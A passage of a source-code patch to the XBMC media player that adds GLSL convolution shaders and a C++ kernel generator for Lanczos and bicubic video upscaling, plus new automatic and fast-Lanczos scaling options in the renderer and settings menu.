pixel(xpos2.b, ypos) * linetaps2.b; ++ ++ return pixels; ++} ++ ++void main() ++{ ++ float xf = fract(gl_TexCoord[0].x / stepx); ++ float yf = fract(gl_TexCoord[0].y / stepy); ++ ++ vec3 linetaps1 = weight((1.0 - xf) / 2.0); ++ vec3 linetaps2 = weight((1.0 - xf) / 2.0 + 0.5); ++ vec3 columntaps1 = weight((1.0 - yf) / 2.0); ++ vec3 columntaps2 = weight((1.0 - yf) / 2.0 + 0.5); ++ ++ vec3 xpos1 = vec3( ++ (-1.5 - xf) * stepx + gl_TexCoord[0].x, ++ (-0.5 - xf) * stepx + gl_TexCoord[0].x, ++ ( 0.5 - xf) * stepx + gl_TexCoord[0].x); ++ vec3 xpos2 = vec3( ++ ( 1.5 - xf) * stepx + gl_TexCoord[0].x, ++ ( 2.5 - xf) * stepx + gl_TexCoord[0].x, ++ ( 3.5 - xf) * stepx + gl_TexCoord[0].x); ++ ++ gl_FragColor.rgb = line((-1.5 - yf) * stepy + gl_TexCoord[0].y, xpos1, xpos2, linetaps1, linetaps2) * columntaps1.r; ++ gl_FragColor.rgb += line((-0.5 - yf) * stepy + gl_TexCoord[0].y, xpos1, xpos2, linetaps1, linetaps2) * columntaps2.r; ++ gl_FragColor.rgb += line(( 0.5 - yf) * stepy + gl_TexCoord[0].y, xpos1, xpos2, linetaps1, linetaps2) * columntaps1.g; ++ gl_FragColor.rgb += line(( 1.5 - yf) * stepy + gl_TexCoord[0].y, xpos1, xpos2, linetaps1, linetaps2) * columntaps2.g; ++ gl_FragColor.rgb += line(( 2.5 - yf) * stepy + gl_TexCoord[0].y, xpos1, xpos2, linetaps1, linetaps2) * columntaps1.b; ++ gl_FragColor.rgb += line(( 3.5 - yf) * stepy + gl_TexCoord[0].y, xpos1, xpos2, linetaps1, linetaps2) * columntaps2.b; ++ ++ gl_FragColor.a = gl_Color.a; ++} ++ +--- system/shaders/bicubic.glsl ++++ system/shaders/bicubic.glsl +@@ -0,0 +1,47 @@ ++uniform sampler2D img; ++uniform float stepx; ++uniform float stepy; ++uniform sampler2D kernelTex; ++ ++vec4 cubicFilter(float xValue, vec4 c0, vec4 c1, vec4 c2, vec4 c3) ++{ ++ vec4 h = texture2D(kernelTex, vec2(xValue, 0.5)); ++ vec4 r = c0 * h.r; ++ r += c1 * h.g; ++ r += c2 * h.b; ++ r += c3 * h.a; ++ return r; ++} ++ ++void main() ++{ ++ vec2 f = vec2(gl_TexCoord[0].x / stepx , gl_TexCoord[0].y / stepy); ++ f = fract(f); ++ vec4 t0 = cubicFilter(f.x, ++ texture2D(img, gl_TexCoord[0].xy + vec2(-stepx, -stepy)), ++ texture2D(img, gl_TexCoord[0].xy + vec2(0.0, -stepy)), ++ texture2D(img, gl_TexCoord[0].xy + vec2(stepx, -stepy)), ++ texture2D(img, gl_TexCoord[0].xy + vec2(2.0*stepx, -stepy))); ++ ++ vec4 t1 = cubicFilter(f.x, ++ texture2D(img, gl_TexCoord[0].xy + vec2(-stepx, 0.0)), ++ texture2D(img, gl_TexCoord[0].xy + vec2(0.0, 0.0)), ++ texture2D(img, gl_TexCoord[0].xy + vec2(stepx, 0.0)), ++ texture2D(img, gl_TexCoord[0].xy + vec2(2.0*stepx, 0.0))); ++ ++ vec4 t2 = cubicFilter(f.x, ++ texture2D(img, gl_TexCoord[0].xy + vec2(-stepx, stepy)), ++ texture2D(img, gl_TexCoord[0].xy + vec2(0.0, stepy)), ++ texture2D(img, gl_TexCoord[0].xy + vec2(stepx, stepy)), ++ texture2D(img, gl_TexCoord[0].xy + vec2(2.0*stepx, stepy))); ++ ++ vec4 t3 = cubicFilter(f.x, ++ texture2D(img, gl_TexCoord[0].xy + vec2(-stepx, 2.0*stepy)), ++ texture2D(img, gl_TexCoord[0].xy + vec2(0, 2.0*stepy)), ++ texture2D(img, gl_TexCoord[0].xy + vec2(stepx, 2.0*stepy)), ++ texture2D(img, gl_TexCoord[0].xy + vec2(2.0*stepx, 2.0*stepy))); ++ ++ gl_FragColor = cubicFilter(f.y, t0, t1, t2, t3); ++ gl_FragColor.a = gl_Color.a; ++} ++ +--- system/shaders/convolution-4x4.glsl ++++ system/shaders/convolution-4x4.glsl +@@ -0,0 +1,60 @@ ++uniform sampler2D img; ++uniform float stepx; ++uniform float stepy; ++ ++#if (HAS_FLOAT_TEXTURE) ++uniform sampler1D kernelTex; ++ ++vec4 weight(float pos) ++{ ++ return texture1D(kernelTex, pos); ++} ++#else ++uniform sampler2D kernelTex; ++ ++vec4 weight(float pos) ++{ ++ //row 0 contains the high byte, row 1 contains the low byte ++ return (texture2D(kernelTex, vec2(pos, 0.0)) * 256.0 + texture2D(kernelTex, vec2(pos, 1.0))) / 128.5 - 1.0; ++} ++#endif ++ ++vec3 pixel(float xpos, float ypos) ++{ ++ return texture2D(img, vec2(xpos, ypos)).rgb; ++} ++ ++vec3 line (float ypos, vec4 xpos, vec4 linetaps) ++{ ++ vec3 pixels; ++ ++ pixels = pixel(xpos.r, ypos) * linetaps.r; ++ pixels += pixel(xpos.g, ypos) * linetaps.g; ++ pixels += pixel(xpos.b, ypos) * linetaps.b; ++ pixels += pixel(xpos.a, ypos) * linetaps.a; ++ ++ return pixels; ++} ++ ++void main() ++{ ++ float xf = fract(gl_TexCoord[0].x / stepx); ++ float yf = fract(gl_TexCoord[0].y / stepy); ++ ++ vec4 linetaps = weight(1.0 - xf); ++ vec4 columntaps = weight(1.0 - yf); ++ ++ vec4 xpos = vec4( ++ (-0.5 - xf) * stepx + gl_TexCoord[0].x, ++ ( 0.5 - xf) * stepx + gl_TexCoord[0].x, ++ ( 1.5 - xf) * stepx + gl_TexCoord[0].x, ++ ( 2.5 - xf) * stepx + gl_TexCoord[0].x); ++ ++ gl_FragColor.rgb = line((-0.5 - yf) * stepy + gl_TexCoord[0].y, xpos, linetaps) * columntaps.r; ++ gl_FragColor.rgb += line(( 0.5 - yf) * stepy + gl_TexCoord[0].y, xpos, linetaps) * columntaps.g; ++ gl_FragColor.rgb += line(( 1.5 - yf) * stepy + gl_TexCoord[0].y, xpos, linetaps) * columntaps.b; ++ gl_FragColor.rgb += line(( 2.5 - yf) * stepy + gl_TexCoord[0].y, xpos, linetaps) * columntaps.a; ++ ++ gl_FragColor.a = gl_Color.a; ++} ++ +--- xbmc/settings/VideoSettings.h ++++ xbmc/settings/VideoSettings.h +@@ -51,9 +51,10 @@ + { + VS_SCALINGMETHOD_NEAREST=0, + VS_SCALINGMETHOD_LINEAR, +- ++ + VS_SCALINGMETHOD_CUBIC, + VS_SCALINGMETHOD_LANCZOS2, ++ VS_SCALINGMETHOD_LANCZOS3_FAST, + VS_SCALINGMETHOD_LANCZOS3, + VS_SCALINGMETHOD_SINC8, + VS_SCALINGMETHOD_NEDI, +@@ -61,7 +62,9 @@ + VS_SCALINGMETHOD_BICUBIC_SOFTWARE, + VS_SCALINGMETHOD_LANCZOS_SOFTWARE, + VS_SCALINGMETHOD_SINC_SOFTWARE, +- VS_SCALINGMETHOD_VDPAU_HARDWARE ++ VS_SCALINGMETHOD_VDPAU_HARDWARE, ++ ++ VS_SCALINGMETHOD_AUTO + }; + + class CVideoSettings +--- xbmc/cores/VideoRenderers/VideoShaders/VideoFilterShader.cpp ++++ xbmc/cores/VideoRenderers/VideoShaders/VideoFilterShader.cpp +@@ -21,6 +21,7 @@ + #include "system.h" + #include "VideoFilterShader.h" + #include "utils/log.h" ++#include "ConvolutionKernels.h" + + #include + #include +@@ -63,60 +64,13 @@ + + BicubicFilterShader::BicubicFilterShader(float B, float C) + { +- string shaderf = +- "uniform sampler2D img;" +- "uniform float stepx;" +- "uniform float stepy;" +- "uniform sampler2D kernelTex;" +- +- "vec4 cubicFilter(float xValue, vec4 c0, vec4 c1, vec4 c2, vec4 c3)" +- "{" +- " vec4 h = texture2D(kernelTex, vec2(xValue, 0.5));" +- " vec4 r = c0 * h.r;" +- " r += c1 * h.g;" +- " r += c2 * h.b;" +- " r += c3 * h.a;" +- " return r;" +- "}" +- "" +- "void main()" +- "{" +- "vec2 f = vec2(gl_TexCoord[0].x / stepx , gl_TexCoord[0].y / stepy);" +- "f = fract(f);" +- "vec4 t0 = cubicFilter(f.x," +- "texture2D(img, gl_TexCoord[0].xy + vec2(-stepx, -stepy))," +- "texture2D(img, gl_TexCoord[0].xy + vec2(0.0, -stepy))," +- "texture2D(img, gl_TexCoord[0].xy + vec2(stepx, -stepy))," +- "texture2D(img, gl_TexCoord[0].xy + vec2(2.0*stepx, -stepy)));" +- "" +- "vec4 t1 = cubicFilter(f.x," +- "texture2D(img, gl_TexCoord[0].xy + vec2(-stepx, 0.0))," +- "texture2D(img, gl_TexCoord[0].xy + vec2(0.0, 0.0))," +- "texture2D(img, gl_TexCoord[0].xy + vec2(stepx, 0.0))," +- "texture2D(img, gl_TexCoord[0].xy + vec2(2.0*stepx, 0.0)));" +- "" +- "vec4 t2 = cubicFilter(f.x," +- "texture2D(img, gl_TexCoord[0].xy + vec2(-stepx, stepy))," +- "texture2D(img, gl_TexCoord[0].xy + vec2(0.0, stepy))," +- "texture2D(img, gl_TexCoord[0].xy + vec2(stepx, stepy))," +- "texture2D(img, gl_TexCoord[0].xy + vec2(2.0*stepx, stepy)));" +- "" +- "vec4 t3 = cubicFilter(f.x," +- "texture2D(img, gl_TexCoord[0].xy + vec2(-stepx, 2.0*stepy))," +- "texture2D(img, gl_TexCoord[0].xy + vec2(0, 2.0*stepy))," +- "texture2D(img, gl_TexCoord[0].xy + vec2(stepx, 2.0*stepy))," +- "texture2D(img, gl_TexCoord[0].xy + vec2(2.0*stepx, 2.0*stepy)));" +- +- "gl_FragColor = cubicFilter(f.y, t0, t1, t2, t3) ;" +- "gl_FragColor.a = gl_Color.a;" +- "}"; +- PixelShader()->SetSource(shaderf); ++ PixelShader()->LoadSource("bicubic.glsl"); + m_kernelTex1 = 0; + m_B = B; + m_C = C; +- if (B<=0) ++ if (B<0) + m_B=1.0f/3.0f; +- if (C<=0) ++ if (C<0) + m_C=1.0f/3.0f; + } + +@@ -209,8 +163,8 @@ + glBindTexture(GL_TEXTURE_2D, m_kernelTex1); + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR); + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR); +- glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_REPEAT); +- glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_REPEAT); ++ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP); ++ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP); + glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA16F_ARB, size, 1, 0, GL_RGBA, GL_FLOAT, img); + + glActiveTexture(GL_TEXTURE0); +@@ -254,4 +208,110 @@ + return val; + } + ++ConvolutionFilterShader::ConvolutionFilterShader(ESCALINGMETHOD method) ++{ ++ m_method = method; ++ m_kernelTex1 = 0; ++ ++ string shadername; ++ string defines; ++ ++ if (m_method == VS_SCALINGMETHOD_CUBIC || ++ m_method == VS_SCALINGMETHOD_LANCZOS2 || ++ m_method == VS_SCALINGMETHOD_LANCZOS3_FAST) ++ shadername = "convolution-4x4.glsl"; ++ else if (m_method == VS_SCALINGMETHOD_LANCZOS3) ++ shadername = "convolution-6x6.glsl"; ++ ++ m_floattex = glewIsSupported("GL_ARB_texture_float"); ++ ++ if (m_floattex) ++ defines = "#define HAS_FLOAT_TEXTURE 1\n"; ++ else ++ defines = "#define HAS_FLOAT_TEXTURE 0\n"; ++ ++ CLog::Log(LOGDEBUG, "GL: ConvolutionFilterShader: using %s defines: %s", shadername.c_str(), defines.c_str()); ++ PixelShader()->LoadSource(shadername, defines); ++} ++ ++void ConvolutionFilterShader::OnCompiledAndLinked() ++{ ++ // obtain shader attribute handles on successfull compilation ++ m_hSourceTex = glGetUniformLocation(ProgramHandle(), "img"); ++ m_hStepX = glGetUniformLocation(ProgramHandle(), "stepx"); ++ m_hStepY = glGetUniformLocation(ProgramHandle(), "stepy"); ++ m_hKernTex = glGetUniformLocation(ProgramHandle(), "kernelTex"); ++ ++ CConvolutionKernel kernel(m_method, 256); ++ ++ if (m_kernelTex1) ++ { ++ glDeleteTextures(1, &m_kernelTex1); ++ m_kernelTex1 = 0; ++ } ++ ++ glGenTextures(1, &m_kernelTex1); ++ ++ if ((m_kernelTex1<=0)) ++ { ++ CLog::Log(LOGERROR, "GL: ConvolutionFilterShader: Error creating kernel texture"); ++ return; ++ } ++ ++ glActiveTexture(GL_TEXTURE2); ++ ++ //if float textures are supported, we can load the kernel as a 1d float texture ++ //if not, we load it as a 2d texture with 2 rows, where row 0 contains the high byte ++ //and row 1 contains the low byte, which can be converted in the shader ++ if (m_floattex) ++ { ++ glBindTexture(GL_TEXTURE_1D, m_kernelTex1); ++ glTexParameteri(GL_TEXTURE_1D, GL_TEXTURE_MAG_FILTER, GL_LINEAR); ++ glTexParameteri(GL_TEXTURE_1D, GL_TEXTURE_MIN_FILTER, GL_LINEAR); ++ glTexParameteri(GL_TEXTURE_1D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE); ++ glTexParameteri(GL_TEXTURE_1D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE); ++ glTexImage1D(GL_TEXTURE_1D, 0, GL_RGBA16F_ARB, kernel.GetSize(), 0, GL_RGBA, GL_FLOAT, kernel.GetFloatPixels()); ++ } ++ else ++ { ++ glBindTexture(GL_TEXTURE_2D, m_kernelTex1); ++ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST); ++ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST); ++ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE); ++ glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE); ++ glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, kernel.GetSize(), 2, 0, GL_RGBA, GL_UNSIGNED_BYTE, kernel.GetIntFractPixels()); ++ } ++ ++ glActiveTexture(GL_TEXTURE0); ++ ++ VerifyGLState(); ++} ++ ++bool ConvolutionFilterShader::OnEnabled() ++{ ++ // set shader attributes once enabled ++ glActiveTexture(GL_TEXTURE2); ++ ++ if (m_floattex) ++ glBindTexture(GL_TEXTURE_1D, m_kernelTex1); ++ else ++ glBindTexture(GL_TEXTURE_2D, m_kernelTex1); ++ ++ glActiveTexture(GL_TEXTURE0); ++ glUniform1i(m_hSourceTex, m_sourceTexUnit); ++ glUniform1i(m_hKernTex, 2); ++ glUniform1f(m_hStepX, m_stepX); ++ glUniform1f(m_hStepY, m_stepY); ++ VerifyGLState(); ++ return true; ++} ++ ++void ConvolutionFilterShader::Free() ++{ ++ if (m_kernelTex1) ++ glDeleteTextures(1, &m_kernelTex1); ++ m_kernelTex1 = 0; ++ BaseVideoFilterShader::Free(); ++} ++ + #endif +--- xbmc/cores/VideoRenderers/VideoShaders/ConvolutionKernels.cpp ++++ xbmc/cores/VideoRenderers/VideoShaders/ConvolutionKernels.cpp +@@ -0,0 +1,226 @@ ++/* ++ * Copyright (C) 2005-2008 Team XBMC ++ * http://www.xbmc.org ++ * ++ * This Program is free software; you can redistribute it and/or modify ++ * it under the terms of the GNU General Public License as published by ++ * the Free Software Foundation; either version 2, or (at your option) ++ * any later version. ++ * ++ * This Program is distributed in the hope that it will be useful, ++ * but WITHOUT ANY WARRANTY; without even the implied warranty of ++ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ++ * GNU General Public License for more details. ++ * ++ * You should have received a copy of the GNU General Public License ++ * along with XBMC; see the file COPYING. If not, write to ++ * the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA. ++ * http://www.gnu.org/copyleft/gpl.html ++ * ++ */ ++#ifdef _WIN32 ++ #define _USE_MATH_DEFINES ++#endif ++ ++#include "ConvolutionKernels.h" ++#include "MathUtils.h" ++ ++#define SINC(x) (sin(M_PI * (x)) / (M_PI * (x))) ++ ++CConvolutionKernel::CConvolutionKernel(ESCALINGMETHOD method, int size) ++{ ++ m_size = size; ++ m_floatpixels = new float[m_size * 4]; ++ ++ if (method == VS_SCALINGMETHOD_LANCZOS2) ++ Lanczos2(); ++ else if (method == VS_SCALINGMETHOD_LANCZOS3_FAST) ++ Lanczos3Fast(); ++ else if (method == VS_SCALINGMETHOD_LANCZOS3) ++ Lanczos3(); ++ else if (method == VS_SCALINGMETHOD_CUBIC) ++ Bicubic(1.0 / 3.0, 1.0 / 3.0); ++ ++ ToIntFract(); ++} ++ ++CConvolutionKernel::~CConvolutionKernel() ++{ ++ delete [] m_floatpixels; ++ delete [] m_intfractpixels; ++} ++ ++//generate a lanczos2 kernel which can be loaded with RGBA format ++//each value of RGBA has one tap, so a shader can load 4 taps with a single pixel lookup ++void CConvolutionKernel::Lanczos2() ++{ ++ for (int i = 0; i < m_size; i++) ++ { ++ double x = (double)i / (double)m_size; ++ ++ //generate taps ++ for (int j = 0; j < 4; j++) ++ m_floatpixels[i * 4 + j] = (float)LanczosWeight(x + (double)(j - 2), 2.0); ++ ++ //any collection of 4 taps added together needs to be exactly 1.0 ++ //for lanczos this is not always the case, so we take each collection of 4 taps ++ //and divide those taps by the sum of the taps ++ float weight = 0.0; ++ for (int j = 0; j < 4; j++) ++ weight += m_floatpixels[i * 4 + j]; ++ ++ for (int j = 0; j < 4; j++) ++ m_floatpixels[i * 4 + j] /= weight; ++ } ++} ++ ++//generate a lanczos3 kernel which can be loaded with RGBA format ++//each value of RGBA has one tap, so a shader can load 4 taps with a single pixel lookup ++//the two outer lobes of the lanczos3 kernel are added to the two lobes one step to the middle ++//this basically looks the same as lanczos3, but the kernel only has 4 taps, ++//so it can use the 4x4 convolution shader which is twice as fast as the 6x6 one ++void CConvolutionKernel::Lanczos3Fast() ++{ ++ for (int i = 0; i < m_size; i++) ++ { ++ double a = 3.0; ++ double x = (double)i / (double)m_size; ++ ++ //generate taps ++ m_floatpixels[i * 4 + 0] = (float)(LanczosWeight(x - 2.0, a) + LanczosWeight(x - 3.0, a)); ++ m_floatpixels[i * 4 + 1] = (float) LanczosWeight(x - 1.0, a); ++ m_floatpixels[i * 4 + 2] = (float) LanczosWeight(x , a); ++ m_floatpixels[i * 4 + 3] = (float)(LanczosWeight(x + 1.0, a) + LanczosWeight(x + 2.0, a)); ++ ++ //any collection of 4 taps added together needs to be exactly 1.0 ++ //for lanczos this is not always the case, so we take each collection of 4 taps ++ //and divide those taps by the sum of the taps ++ float weight = 0.0; ++ for (int j = 0; j < 4; j++) ++ weight += m_floatpixels[i * 4 + j]; ++ ++ for (int j = 0; j < 4; j++) ++ m_floatpixels[i * 4 + j] /= weight; ++ } ++} ++ ++//generate a lanczos3 kernel which can be loaded with RGBA format ++//each value of RGB has one tap, so a shader can load 3 taps with a single pixel lookup ++void CConvolutionKernel::Lanczos3() ++{ ++ for (int i = 0; i < m_size; i++) ++ { ++ double x = (double)i / (double)m_size; ++ ++ //generate taps ++ for (int j = 0; j < 3; j++) ++ m_floatpixels[i * 4 + j] = (float)LanczosWeight(x * 2.0 + (double)(j * 2 - 3), 3.0); ++ ++ m_floatpixels[i * 4 + 3] = 0.0; ++ } ++ ++ //any collection of 6 taps added together needs to be exactly 1.0 ++ //for lanczos this is not always the case, so we take each collection of 6 taps ++ //and divide those taps by the sum of the taps ++ for (int i = 0; i < m_size / 2; i++) ++ { ++ float weight = 0.0; ++ for (int j = 0; j < 3; j++) ++ { ++ weight += m_floatpixels[i * 4 + j]; ++ weight += m_floatpixels[(i + m_size / 2) * 4 + j]; ++ } ++ for (int j = 0; j < 3; j++) ++ { ++ m_floatpixels[i * 4 + j] /= weight; ++ m_floatpixels[(i + m_size / 2) * 4 + j] /= weight; ++ } ++ } ++} ++ ++//generate a bicubic kernel which can be loaded with RGBA format ++//each value of RGBA has one tap, so a shader can load 4 taps with a single pixel lookup ++void CConvolutionKernel::Bicubic(double B, double C) ++{ ++ for (int i = 0; i < m_size; i++) ++ { ++ double x = (double)i / (double)m_size; ++ ++ //generate taps ++ for (int j = 0; j < 4; j++) ++ m_floatpixels[i * 4 + j] = (float)BicubicWeight(x + (double)(j - 2), B, C); ++ } ++} ++ ++double CConvolutionKernel::LanczosWeight(double x, double radius) ++{ ++ double ax = fabs(x); ++ ++ if (ax == 0.0) ++ return 1.0; ++ else if (ax < radius) ++ return SINC(ax) * SINC(ax / radius); ++ else ++ return 0.0; ++} ++ ++double CConvolutionKernel::BicubicWeight(double x, double B, double C) ++{ ++ double ax = fabs(x); ++ ++ if (ax<1.0) ++ { ++ return ((12 - 9*B - 6*C) * ax * ax * ax + ++ (-18 + 12*B + 6*C) * ax * ax + ++ (6 - 2*B))/6; ++ } ++ else if (ax<2.0) ++ { ++ return ((-B - 6*C) * ax * ax * ax + ++ (6*B + 30*C) * ax * ax + (-12*B - 48*C) * ++ ax + (8*B + 24*C)) / 6; ++ } ++ else ++ { ++ return 0.0; ++ } ++} ++ ++ ++//convert float to high byte/low byte, so the kernel can be loaded into an 8 bit texture ++//with height 2 and converted back to real float in the shader ++//it only works when the kernel texture uses nearest neighbour, but there's almost no difference ++//between that and linear interpolation ++void CConvolutionKernel::ToIntFract() ++{ ++ m_intfractpixels = new uint8_t[m_size * 8]; ++ ++ for (int i = 0; i < m_size * 4; i++) ++ { ++ int value = MathUtils::round_int((m_floatpixels[i] + 1.0) / 2.0 * 65535.0); ++ if (value < 0) ++ value = 0; ++ else if (value > 65535) ++ value = 65535; ++ ++ int integer = value / 256; ++ int fract = value % 256; ++ ++ m_intfractpixels[i] = (uint8_t)integer; ++ m_intfractpixels[i + m_size * 4] = (uint8_t)fract; ++ } ++ ++#if 0 ++ for (int i = 0; i < 4; i++) ++ { ++ for (int j = 0; j < m_size; j++) ++ { ++ printf("%i %f %f\n", ++ i * m_size + j, ++ ((double)m_intfractpixels[j * 4 + i] + (double)m_intfractpixels[j * 4 + i + m_size * 4] / 255.0) / 255.0 * 2.0 - 1.0, ++ m_floatpixels[j * 4 + i]); ++ } ++ } ++#endif ++} ++ +--- xbmc/cores/VideoRenderers/VideoShaders/VideoFilterShader.h ++++ xbmc/cores/VideoRenderers/VideoShaders/VideoFilterShader.h +@@ -4,6 +4,7 @@ + #ifdef HAS_GL + + #include "../../../../guilib/Shader.h" ++#include "../../../settings/VideoSettings.h" + + using namespace Shaders; + +@@ -35,7 +36,7 @@ + class BicubicFilterShader : public BaseVideoFilterShader + { + public: +- BicubicFilterShader(float B=0.0f, float C=0.0f); ++ BicubicFilterShader(float B=-1.0f, float C=-1.0f); + void OnCompiledAndLinked(); + bool OnEnabled(); + void Free(); +@@ -55,6 +56,25 @@ + float m_C; + }; + ++ class ConvolutionFilterShader : public BaseVideoFilterShader ++ { ++ public: ++ ConvolutionFilterShader(ESCALINGMETHOD method); ++ void OnCompiledAndLinked(); ++ bool OnEnabled(); ++ void Free(); ++ ++ protected: ++ // kernel textures ++ GLuint m_kernelTex1; ++ ++ // shader handles to kernel textures ++ GLint m_hKernTex; ++ ++ ESCALINGMETHOD m_method; ++ bool m_floattex; //if float textures are supported ++ }; ++ + } // end namespace + + #endif +--- xbmc/cores/VideoRenderers/VideoShaders/ConvolutionKernels.h ++++ xbmc/cores/VideoRenderers/VideoShaders/ConvolutionKernels.h +@@ -0,0 +1,55 @@ ++/* ++ * Copyright (C) 2005-2008 Team XBMC ++ * http://www.xbmc.org ++ * ++ * This Program is free software; you can redistribute it and/or modify ++ * it under the terms of the GNU General Public License as published by ++ * the Free Software Foundation; either version 2, or (at your option) ++ * any later version. ++ * ++ * This Program is distributed in the hope that it will be useful, ++ * but WITHOUT ANY WARRANTY; without even the implied warranty of ++ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ++ * GNU General Public License for more details. ++ * ++ * You should have received a copy of the GNU General Public License ++ * along with XBMC; see the file COPYING. If not, write to ++ * the Free Software Foundation, 675 Mass Ave, Cambridge, MA 02139, USA. ++ * http://www.gnu.org/copyleft/gpl.html ++ * ++ */ ++ ++#ifndef CONVOLUTIONKERNELS ++#define CONVOLUTIONKERNELS ++ ++#include "system.h" ++#include "../../../settings/VideoSettings.h" ++ ++class CConvolutionKernel ++{ ++ public: ++ CConvolutionKernel(ESCALINGMETHOD method, int size); ++ ~CConvolutionKernel(); ++ ++ int GetSize() { return m_size; } ++ float* GetFloatPixels() { return m_floatpixels; } ++ uint8_t* GetIntFractPixels() { return m_intfractpixels; } ++ ++ private: ++ ++ void Lanczos2(); ++ void Lanczos3Fast(); ++ void Lanczos3(); ++ void Bicubic(double B, double C); ++ ++ double LanczosWeight(double x, double radius); ++ double BicubicWeight(double x, double B, double C); ++ ++ void ToIntFract(); ++ ++ int m_size; ++ float* m_floatpixels; ++ uint8_t* m_intfractpixels; ++}; ++ ++#endif //CONVOLUTIONKERNELS +--- xbmc/cores/VideoRenderers/VideoShaders/Makefile ++++ xbmc/cores/VideoRenderers/VideoShaders/Makefile +@@ -1,5 +1,5 @@ + INCLUDES=-I. -I.. -I../../ -I../../../ -I../../../linux -I../../../../guilib +-SRCS=YUV2RGBShader.cpp VideoFilterShader.cpp ++SRCS=YUV2RGBShader.cpp VideoFilterShader.cpp ConvolutionKernels.cpp + + LIB=VideoShaders.a + +--- xbmc/cores/VideoRenderers/LinuxRendererGL.cpp ++++ xbmc/cores/VideoRenderers/LinuxRendererGL.cpp +@@ -886,6 +886,19 @@ + + VerifyGLState(); + ++ if (m_scalingMethod == VS_SCALINGMETHOD_AUTO) ++ { ++ bool scaleSD = (int)m_sourceWidth < m_upscalingWidth && (int)m_sourceHeight < m_upscalingHeight && ++ m_sourceHeight < 720 && m_sourceWidth < 1280; ++ ++ if (Supports(VS_SCALINGMETHOD_VDPAU_HARDWARE)) ++ m_scalingMethod = VS_SCALINGMETHOD_VDPAU_HARDWARE; ++ else if (Supports(VS_SCALINGMETHOD_LANCZOS3_FAST) && scaleSD) ++ m_scalingMethod = VS_SCALINGMETHOD_LANCZOS3_FAST; ++ else ++ m_scalingMethod = VS_SCALINGMETHOD_LINEAR; ++ } ++ + switch (m_scalingMethod) + { + case VS_SCALINGMETHOD_NEAREST: +@@ -898,13 +911,10 @@ + m_renderQuality = RQ_SINGLEPASS; + return; + ++ case VS_SCALINGMETHOD_LANCZOS2: ++ case VS_SCALINGMETHOD_LANCZOS3_FAST: ++ case VS_SCALINGMETHOD_LANCZOS3: + case VS_SCALINGMETHOD_CUBIC: +- if(!glewIsSupported("GL_ARB_texture_float")) +- { +- CLog::Log(LOGERROR, "GL: hardware doesn't support GL_ARB_texture_float"); +- break; +- } +- + if (!m_fbo.Initialize()) + { + CLog::Log(LOGERROR, "GL: Error initializing FBO"); +@@ -917,7 +927,7 @@ + break; + } + +- m_pVideoFilterShader = new BicubicFilterShader(0.3f, 0.3f); ++ m_pVideoFilterShader = new ConvolutionFilterShader(m_scalingMethod); + if (!m_pVideoFilterShader->CompileAndLink()) + { + CLog::Log(LOGERROR, "GL: Error compiling and linking video filter shader"); +@@ -928,8 +938,6 @@ + m_renderQuality = RQ_MULTIPASS; + return; + +- case VS_SCALINGMETHOD_LANCZOS2: +- case VS_SCALINGMETHOD_LANCZOS3: + case VS_SCALINGMETHOD_SINC8: + case VS_SCALINGMETHOD_NEDI: + CLog::Log(LOGERROR, "GL: TODO: This scaler has not yet been implemented"); +@@ -1895,16 +1903,19 @@ + bool CLinuxRendererGL::Supports(ESCALINGMETHOD method) + { + if(method == VS_SCALINGMETHOD_NEAREST +- || method == VS_SCALINGMETHOD_LINEAR) ++ || method == VS_SCALINGMETHOD_LINEAR ++ || method == VS_SCALINGMETHOD_AUTO) + return true; + +- +- if(method == VS_SCALINGMETHOD_CUBIC +- && glewIsSupported("GL_ARB_texture_float") +- && glewIsSupported("GL_EXT_framebuffer_object") +- && m_renderMethod == RENDER_GLSL) +- return true; +- ++ if(method == VS_SCALINGMETHOD_CUBIC ++ || method == VS_SCALINGMETHOD_LANCZOS2 ++ || method == VS_SCALINGMETHOD_LANCZOS3_FAST ++ || method == VS_SCALINGMETHOD_LANCZOS3) ++ { ++ if (glewIsSupported("GL_EXT_framebuffer_object") && (m_renderMethod & RENDER_GLSL)) ++ return true; ++ } ++ + if (g_advancedSettings.m_videoHighQualityScaling != SOFTWARE_UPSCALING_DISABLED) + { + if(method == VS_SCALINGMETHOD_BICUBIC_SOFTWARE +--- xbmc/GUIDialogVideoSettings.cpp ++++ xbmc/GUIDialogVideoSettings.cpp +@@ -103,6 +103,7 @@ + entries.push_back(make_pair(VS_SCALINGMETHOD_LINEAR , 16302)); + entries.push_back(make_pair(VS_SCALINGMETHOD_CUBIC , 16303)); + entries.push_back(make_pair(VS_SCALINGMETHOD_LANCZOS2 , 16304)); ++ entries.push_back(make_pair(VS_SCALINGMETHOD_LANCZOS3_FAST , 16315)); + entries.push_back(make_pair(VS_SCALINGMETHOD_LANCZOS3 , 16305)); + entries.push_back(make_pair(VS_SCALINGMETHOD_SINC8 , 16306)); + // entries.push_back(make_pair(VS_SCALINGMETHOD_NEDI , ?????)); +@@ -110,6 +111,7 @@ + entries.push_back(make_pair(VS_SCALINGMETHOD_LANCZOS_SOFTWARE , 16308)); + entries.push_back(make_pair(VS_SCALINGMETHOD_SINC_SOFTWARE , 16309)); + entries.push_back(make_pair(VS_SCALINGMETHOD_VDPAU_HARDWARE , 13120)); ++ entries.push_back(make_pair(VS_SCALINGMETHOD_AUTO , 16316)); + + /* 